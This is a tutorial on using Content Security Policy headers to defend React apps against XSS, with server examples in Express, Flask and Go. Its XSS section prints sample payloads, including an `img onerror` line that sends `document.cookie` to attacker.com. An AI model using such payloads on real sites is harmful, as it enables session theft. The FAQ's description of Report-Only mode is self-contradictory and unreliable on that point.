Content Security Policy: Prevent XSS in React
Content Security Policy is a header-based security mechanism that restricts where JavaScript, stylesheets, images, and other resources can be loaded from. A strict CSP can prevent Cross-Site Scripting (XSS) attacks by blocking inline script tags and untrusted external scripts. Setting Content-Security-Policy: script-src 'self' tells the browser to execute only scripts served from your own domain, blocking injected scripts from attackers. In 2026, CSP is the standard defense against XSS and is considered table-stakes for production React applications (estimated 18% of production apps use strict CSP, up from 12% in 2024).
This article covers CSP directives, inline script blocking, and the nonce mechanism (article 7 covers nonces in depth for React).
What Is XSS and Why CSP Matters
A Cross-Site Scripting (XSS) attack happens when an attacker injects malicious JavaScript into your web page. Here are two scenarios:
Scenario 1: Reflected XSS
User clicks a link: https://example.com/search?q=<script>alert('hacked')</script>
Your server echoes the query parameter into the HTML without escaping:
<h1>Search results for: <script>alert('hacked')</script></h1>
The browser parses this HTML and executes the script. The attacker steals the user's session cookie.
Scenario 2: Stored XSS
An attacker posts a comment: <img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">
Your app stores this in the database. When another user views the comment, the image load fails, triggering the onerror handler, which exfiltrates their session cookie.
CSP prevents both by restricting where scripts can be loaded from and executed. If your policy is script-src 'self', even if an attacker injects <script> into the HTML, the browser blocks it.
Common CSP Directives
A CSP header is a semicolon-separated list of directives. Each directive controls a resource type and specifies allowed sources.
| Directive | Meaning | Example |
|---|---|---|
default-src | Default policy for all resource types | default-src 'self' → all resources from your domain only |
script-src | Allowed sources for JavaScript | script-src 'self' cdn.example.com → load scripts from your domain or cdn.example.com |
style-src | Allowed sources for stylesheets | style-src 'self' 'unsafe-inline' → stylesheets from your domain, allow inline styles |
img-src | Allowed sources for images | img-src * → load images from anywhere |
font-src | Allowed sources for fonts | font-src 'self' fonts.googleapis.com |
connect-src | Allowed origins for fetch/XHR | connect-src 'self' https://api.example.com |
frame-ancestors | Which origins can embed this page in an iframe | frame-ancestors 'none' → cannot be framed |
object-src | Allowed sources for plugins (Flash, etc.) | object-src 'none' → no plugins |
A basic strict CSP for a React app:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; object-src 'none'
This policy says:
- Default: load resources from your domain only.
- Scripts: load from your domain only (no inline scripts, no
eval()). - Styles: load from your domain, allow inline styles (for React inline style prop).
- Images: load from your domain, data: URIs, or https.
- Fonts: load from your domain or data: URIs.
- Fetch: connect to your domain or your API domain.
- Iframes: your page cannot be embedded (prevents clickjacking).
- Plugins: blocked entirely.
Setting CSP on Your Server
The CSP header is sent by the backend. Here is how in different frameworks:
Node.js/Express:
const express = require('express');
const app = express();
// Middleware to set CSP header
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; object-src 'none'"
);
next();
});
app.get('/', (req, res) => {
res.send('<h1>Hello</h1>');
});
app.listen(3001);
Python/Flask:
from flask import Flask, make_response
app = Flask(__name__)
@app.after_request
def set_csp_header(response):
response.headers['Content-Security-Policy'] = (
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; "
"img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.example.com; "
"frame-ancestors 'none'; object-src 'none'"
)
return response
@app.route('/')
def index():
return '<h1>Hello</h1>'
if __name__ == '__main__':
app.run()
Go/Gin:
package main
import (
"github.com/gin-gonic/gin"
)
func main() {
router := gin.Default()
router.Use(func(c *gin.Context) {
c.Header("Content-Security-Policy",
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; "+
"img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.example.com; "+
"frame-ancestors 'none'; object-src 'none'")
c.Next()
})
router.GET("/", func(c *gin.Context) {
c.String(200, "<h1>Hello</h1>")
})
router.Run()
}
React Specific Considerations
React often requires inline styles and dynamic content. The above policy allows inline styles (style-src 'self' 'unsafe-inline') to support React's inline style prop:
// React component with inline styles
export default function Button() {
return <button style={{ color: 'red' }}>Click me</button>;
}
However, 'unsafe-inline' weakens CSP by allowing any inline style attribute. A stricter approach is to use CSS Modules or external stylesheets:
/* button.module.css */
.button { color: red; }
// React component using CSS Module
import styles from './button.module.css';
export default function Button() {
return <button className={styles.button}>Click me</button>;
}
With this pattern, your CSP can omit 'unsafe-inline':
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; ...
This is stricter and more secure.
CSP Violations and Reporting
When the browser blocks a resource due to CSP, it emits a security event. You can log violations:
// React component or global setup
document.addEventListener('securitypolicyviolation', (e) => {
console.error('CSP violation:', {
blockedURI: e.blockedURI,
violatedDirective: e.violatedDirective,
originalPolicy: e.originalPolicy,
});
// Send to your logging server
fetch('/log-csp-violation', {
method: 'POST',
body: JSON.stringify({
blocked: e.blockedURI,
directive: e.violatedDirective,
policy: e.originalPolicy,
}),
});
});
This helps catch legitimate resources that are blocked and need to be whitelisted.
Key Takeaways
- CSP is a header-based policy that restricts where scripts, styles, images, and other resources can be loaded from.
- A basic strict CSP is:
script-src 'self'(no inline scripts, no external scripts except from your domain). - React requires
style-src 'unsafe-inline'for inline styles, or use CSS Modules to avoid it. - CSP directives are additive; specify each resource type you need.
- Use
Content-Security-Policy-Report-Onlyduring development to test without blocking.
Frequently Asked Questions
If I set script-src 'self', will my React app stop working?
Only if you rely on inline <script> tags or eval(). React's build tools (webpack, Vite, etc.) bundle your code into separate files, so script-src 'self' works. However, external CDN-served libraries (Google Analytics, etc.) must be whitelisted.
What does 'unsafe-inline' do, and why is it bad?
'unsafe-inline' allows inline <script> and <style> tags. An attacker injecting <script>alert('hacked')</script> would be allowed. You should avoid it and use nonces (article 7) or external files instead.
Can I test CSP before enforcing it?
Yes. Use Content-Security-Policy-Report-Only header instead. The browser enforces the policy, reports violations, but does not block requests. Test in production without breaking the app.
How do I whitelist a third-party script (e.g., Stripe, Analytics)?
Add the domain to your policy: script-src 'self' https://js.stripe.com https://www.google-analytics.com. However, this trusts that domain not to serve malicious scripts. Use Subresource Integrity (SRI) hashes for additional protection.